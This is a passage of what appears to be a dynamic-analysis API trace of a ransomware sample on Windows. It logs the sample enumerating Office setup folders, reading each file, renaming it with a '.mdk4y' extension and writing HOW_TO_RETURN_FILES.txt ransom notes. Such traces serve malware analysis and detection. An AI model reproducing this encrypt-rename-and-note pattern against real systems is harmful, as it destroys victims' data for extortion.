(normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.mdk4y")) returned 1 [0108.612] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0108.612] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0108.612] AreFileApisANSI () returned 1 [0108.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 116 [0108.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0108.613] GetFileType (hFile=0x13c) returned 0x1 [0108.614] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.614] AreFileApisANSI () returned 1 [0108.614] GetACP () returned 0x4e4 [0108.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OneNote.en-us", cchWideChar=13, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OneNote.en-uss", lpUsedDefaultChar=0x37dec0) returned 13 [0108.614] AreFileApisANSI () returned 1 [0108.614] GetACP () returned 0x4e4 [0108.614] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=94, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\Őh") returned 94 [0108.615] AreFileApisANSI () returned 1 [0108.615] GetACP () returned 0x4e4 [0108.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", lpUsedDefaultChar=0x37de34) returned 1 [0108.615] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.615] AreFileApisANSI () returned 1 [0108.615] GetACP () returned 0x4e4 [0108.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", lpUsedDefaultChar=0x37de34) returned 2 [0108.615] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.615] AreFileApisANSI () returned 1 [0108.615] GetACP () returned 0x4e4 [0108.615] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OneNoteMUI.XML", cchWideChar=14, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OneNoteMUI.XMLosoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", lpUsedDefaultChar=0x37de34) returned 14 [0108.615] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818384500000) returned 1 [0108.615] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x646, lpOverlapped=0x0) returned 1 [0108.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818386800000) returned 1 [0108.638] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818386800000) returned 1 [0108.638] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.mdk4y")) returned 1 [0108.639] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.639] AreFileApisANSI () returned 1 [0108.639] GetACP () returned 0x4e4 [0108.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0108.639] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818386900000) returned 1 [0108.639] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x7c4, lpOverlapped=0x0) returned 1 [0108.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818387500000) returned 1 [0108.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818387500000) returned 1 [0108.646] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.mdk4y")) returned 1 [0108.646] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0108.646] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0108.646] AreFileApisANSI () returned 1 [0108.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0108.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0108.659] GetFileType (hFile=0x13c) returned 0x1 [0108.660] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.660] AreFileApisANSI () returned 1 [0108.660] GetACP () returned 0x4e4 [0108.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSETUP.DLL", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OSETUP.DLL-us", lpUsedDefaultChar=0x37dec0) returned 10 [0108.660] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0108.749] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818397900000) returned 1 [0108.749] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x100000, lpOverlapped=0x0) returned 1 [0108.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818407300000) returned 1 [0108.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818407300000) returned 1 [0108.859] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.mdk4y")) returned 1 [0108.860] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.860] AreFileApisANSI () returned 1 [0108.860] GetACP () returned 0x4e4 [0108.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSetupPS.dll", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="OSetupPS.dlls", lpUsedDefaultChar=0x37dec0) returned 12 [0108.860] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.860] AreFileApisANSI () returned 1 [0108.860] GetACP () returned 0x4e4 [0108.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Outlook.en-us", cchWideChar=13, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Outlook.en-us", lpUsedDefaultChar=0x37dec0) returned 13 [0108.860] AreFileApisANSI () returned 1 [0108.860] GetACP () returned 0x4e4 [0108.860] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=94, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Őh ") returned 94 [0108.861] AreFileApisANSI () returned 1 [0108.861] GetACP () returned 0x4e4 [0108.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", lpUsedDefaultChar=0x37de34) returned 1 [0108.861] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.861] AreFileApisANSI () returned 1 [0108.861] GetACP () returned 0x4e4 [0108.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", lpUsedDefaultChar=0x37de34) returned 2 [0108.861] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.861] AreFileApisANSI () returned 1 [0108.861] GetACP () returned 0x4e4 [0108.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OutlookMUI.XML", cchWideChar=14, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OutlookMUI.XMLosoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll", lpUsedDefaultChar=0x37de34) returned 14 [0108.861] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818409100000) returned 1 [0108.862] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xc72, lpOverlapped=0x0) returned 1 [0108.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818410300000) returned 1 [0108.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818410300000) returned 1 [0108.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.mdk4y")) returned 1 [0108.874] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.874] AreFileApisANSI () returned 1 [0108.874] GetACP () returned 0x4e4 [0108.874] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0108.874] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818410400000) returned 1 [0108.874] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x106f, lpOverlapped=0x0) returned 1 [0108.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818412500000) returned 1 [0108.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818412500000) returned 1 [0108.895] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.mdk4y")) returned 1 [0108.896] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0108.896] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0108.896] AreFileApisANSI () returned 1 [0108.896] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 118 [0108.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0108.913] GetFileType (hFile=0x13c) returned 0x1 [0108.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.914] AreFileApisANSI () returned 1 [0108.914] GetACP () returned 0x4e4 [0108.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pidgenx.dll", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="pidgenx.dllus", lpUsedDefaultChar=0x37dec0) returned 11 [0108.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.914] AreFileApisANSI () returned 1 [0108.914] GetACP () returned 0x4e4 [0108.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="pkeyconfig-office.xrm-msn", lpUsedDefaultChar=0x37dec0) returned 24 [0108.914] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0108.915] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818414500000) returned 1 [0108.915] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaec3a, lpOverlapped=0x0) returned 1 [0108.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818417500000) returned 1 [0108.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1818417500000) returned 1 [0108.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.mdk4y")) returned 1 [0108.951] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.951] AreFileApisANSI () returned 1 [0108.951] GetACP () returned 0x4e4 [0108.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pkeyconfig.companion.dll", cchWideChar=24, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="pkeyconfig.companion.dll", lpUsedDefaultChar=0x37dec0) returned 24 [0108.951] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0108.951] AreFileApisANSI () returned 1 [0108.952] GetACP () returned 0x4e4 [0108.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PowerPoint.en-us", cchWideChar=16, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PowerPoint.en-usnion.dll", lpUsedDefaultChar=0x37dec0) returned 16 [0108.952] AreFileApisANSI () returned 1 [0108.952] GetACP () returned 0x4e4 [0108.952] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=97, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\") returned 97 [0108.953] AreFileApisANSI () returned 1 [0108.953] GetACP () returned 0x4e4 [0108.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", lpUsedDefaultChar=0x37de34) returned 1 [0108.953] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.953] AreFileApisANSI () returned 1 [0108.953] GetACP () returned 0x4e4 [0108.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", lpUsedDefaultChar=0x37de34) returned 2 [0108.953] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0108.953] AreFileApisANSI () returned 1 [0108.953] GetACP () returned 0x4e4 [0108.953] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PowerPointMUI.XML", cchWideChar=17, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="PowerPointMUI.XMLft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", lpUsedDefaultChar=0x37de34) returned 17 [0108.953] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0108.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818418300000) returned 1 [0108.953] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5aa, lpOverlapped=0x0) returned 1 [0109.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818428300000) returned 1 [0109.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818428300000) returned 1 [0109.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.mdk4y")) returned 1 [0109.054] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0109.054] AreFileApisANSI () returned 1 [0109.054] GetACP () returned 0x4e4 [0109.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLtMUI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0109.054] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0109.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818428500000) returned 1 [0109.055] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x75e, lpOverlapped=0x0) returned 1 [0109.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818437100000) returned 1 [0109.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818437100000) returned 1 [0109.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.mdk4y")) returned 1 [0109.142] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0109.142] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0109.142] AreFileApisANSI () returned 1 